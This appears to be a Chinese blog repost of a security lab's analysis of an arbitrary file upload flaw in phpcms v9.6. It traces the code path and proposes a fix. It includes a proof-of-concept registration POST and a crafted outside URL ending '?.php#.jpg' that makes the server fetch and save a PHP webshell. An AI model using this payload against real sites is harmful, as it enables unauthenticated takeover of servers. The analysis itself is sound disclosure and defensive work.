php自学网(安全技术研究院 | Phpcms_V9任意文件上传 漏洞分析)

wufei123 发布于 2024-01-22 阅读(220)

事件背景近期phpcms v9.6 的任意文件上传漏洞对于服务器的安全影响不容小觑攻击者可以在未经认证的情况下任意上传一个文件到网站的目录中phpcms官方近日发布了v9.6.1版本,对此漏洞进行了修复。

天融信安全技术研究院工程师也对此漏洞进行了分析,供业内人士一起交流学习漏洞分析poc利用代码siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=&dosubmit=1&protocol= 

发送post请求到http://192.168.107.138/phpcms/index.php?m=member&c=index&a=register&siteid=1即可成功上传一个webshell

如图:

根据url,我们可以定位到是phpcms\modules\member\index.php文件中的register函数(phpcms url映射关系 PHPCMS二次开发教程 - semcoding - 博客园 )。

在line 135行处,将用户所输入的info参数带入到$member_input->get函数,也就是phpcms\caches\caches_model\caches_data\member_input.class.php文件中的get函数。

跟入这个函数

在这里,$value包含有恶意url,$func为editor,也就是调用editor函数去处理用户的请求,继续跟入:

从这里就会很清楚的看到,将$value,也就是包含有恶意url的参数,去调用phpcms的download函数,并下载到本机。继续跟入:在download函数的片段中

我们原本是校验远程url的后缀名必须为.jpg等,防止下载到例如php等后缀的文件名,但是在经过fillurl函数的处理后,jpg后缀却消失了也就是恶意url变为http:file.codecat.one/normalOneWord.txt?.php。

在fill函数中

这里将会去掉\# 后面的url,因为在url中,\#代表网页中的一个位置。其右面的字符,就是该位置的标识符。所以恶意url为?.php\ # .jpg。继续回到download中,在

中,$file为已经经过处理的url,也就是http://file.codecat.one/normalOneWord.txt?.php,在这里可以看到,下载文件所保存的后缀名,都已$file参数为准这时就可以在uploadfile目录中写入一个php shell。

以日期作为文件夹名,时间戳作为文件名远程url的内容为文件内容

在函数最后,将会返回写入shell的文件路径。我们回到最开始的index.php中,随后,将会执行插入数据库操作,但是表中并没有那个content字段,于是就会报错,并将路径返回给用户。

至此,就完成了任意文件上传漏洞,其实更应该叫做任意文件下载漏洞临时修复建议修改 phpcmslibsclasses/attachement.class.php 文件中的download函数在foreach($remotefileurls as $k=>$file)。

循环中,大约是167行左右的位置,将

修改成$filename = fileext($k);我们再使用poc测试一下如图

图中的两个jpg文件是我们测试的结果,这样就可以防御住任意文件上传攻击。热点推荐

亲爱的读者们,感谢您花时间阅读本文。如果您对本文有任何疑问或建议,请随时联系我。我非常乐意与您交流。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

河南中青旅行社综合资讯 奇遇综合资讯 盛世蓟州综合资讯 综合资讯 游戏百科综合资讯 新闻84266